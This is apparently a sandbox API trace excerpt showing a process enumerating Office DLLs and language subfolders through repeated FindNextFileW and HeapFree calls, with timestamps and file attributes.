	[0164.936] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1
	[0164.949] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0164.949] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1
	[0164.953] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0164.953] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1
	[0164.956] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0164.956] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1
	[0164.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0164.959] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1
	[0164.965] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0164.965] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1
	[0165.055] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.055] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1
	[0165.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.061] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1
	[0165.066] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.066] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1
	[0165.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.069] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1
	[0165.076] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.076] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1
	[0165.080] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.080] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1
	[0165.083] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.083] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1
	[0165.087] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.087] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1
	[0165.091] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.091] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1
	[0165.187] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.187] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1
	[0165.274] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.274] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1
	[0165.279] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.279] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1
	[0165.314] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.314] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1
	[0165.324] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.324] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1
	[0165.328] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.328] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1
	[0165.333] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.333] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1
	[0165.337] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.337] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1
	[0165.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.342] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1
	[0165.425] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.425] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1
	[0165.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.431] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1
	[0165.438] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.438] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1
	[0165.442] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.442] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1
	[0165.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.445] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0165.449] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.449] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1
	[0165.452] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.452] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1
	[0165.456] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.456] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1
	[0165.459] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.459] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1
	[0165.463] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.463] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1
	[0165.466] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.466] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1
	[0165.532] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.532] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1
	[0165.706] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.706] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0165.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.853] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1
	[0165.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.856] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0165.859] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
